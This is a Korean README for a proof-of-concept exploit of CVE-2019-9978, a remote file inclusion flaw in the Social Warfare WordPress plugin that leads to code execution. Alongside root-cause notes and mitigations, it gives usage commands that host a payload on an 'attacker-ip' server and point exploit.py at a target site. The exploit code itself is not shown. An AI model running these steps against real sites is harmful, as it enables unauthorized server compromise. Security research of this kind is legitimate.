
CVE 2019-9978 (Social Warfare 플러그인)의 근본 원인 분석 및 익스플로잇을 보여주는 맞춤형 Python 개념 증명으로,실용적인 RFI에서 RCE로 이어지는 공격 흐름에 중점을 둡니다.
이 저장소는 Social Warfare WordPress 플러그인의 중요한 취약점인 CVE-2019-9978 악용을 시연하는 Python 기반 PoC를 포함합니다.
이 취약점은 인증되지 않은 공격자가 **원격 파일 포함(RFI)**을 수행할 수 있게 하며, 공격자 제어 서버에서 악성 페이로드를 호스팅하여 *원격 코드 실행(RCE)*로 확대될 수 있습니다.
이 PoC는 교육 및 승인된 보안 테스트 목적으로만 통제된 WordPress 실습 환경에서 개발 및 테스트되었습니다.
| CVE 식별자: | CVE-2019-9978 | | 영향받는 구성 요소: | Social Warfare (WordPress 플러그인) | | 영향받는 버전: | ≤ 3.5.2 | | 취약점 유형: | Remote File Inclusion (RFI) | | 영향: | Remote Code Execution (RCE) | | 인증 필요: | No | | 공격 벡터: | Remote | | 심각도: | Critical |
Social Warfare 플러그인이 원격 콘텐츠 포함에 사용되는 사용자 입력의 유효성 검사 및 삭제를 제대로 수행하지 못합니다.
그 결과, 공격자는 악성 외부 URL을 제공하여 인증되지 않은 원격 파일 포함이 가능합니다.
포함된 원격 파일에 실행 가능한 PHP 코드가 포함되어 있으면 WordPress 서버 컨텍스트에서 실행되어 원격 코드 실행이 발생합니다.
인증되지 않은 HTTP 요청
↓
원격 파일 포함 (외부 URL)
↓
악성 페이로드 실행
↓
원격 코드 실행 (RCE)
python3 -m http.server 8000
페이로드 파일(예: payload-main.txt)을 서버 디렉토리에 배치하십시오.
python3 exploit.py <target-site.com> http://attacker-ip:8000/payload-main.txt
Social Warfare 플러그인을 패치된 버전으로 업데이트
원격 파일 포함 비활성화:
allow_url_include = Off
WordPress 플러그인의 외부 URL 처리를 제한
RFI 탐지 규칙이 포함된 웹 애플리케이션 방화벽(WAF) 배포
이 프로젝트는 교육 목적 및 승인된 보안 테스트만을 위해 엄격하게 제공됩니다.
명시적 허가 없이 이 PoC를 시스템에 사용하지 마십시오.
저자는 이 도구의 오용이나 손해에 대해 책임을 지지 않습니다.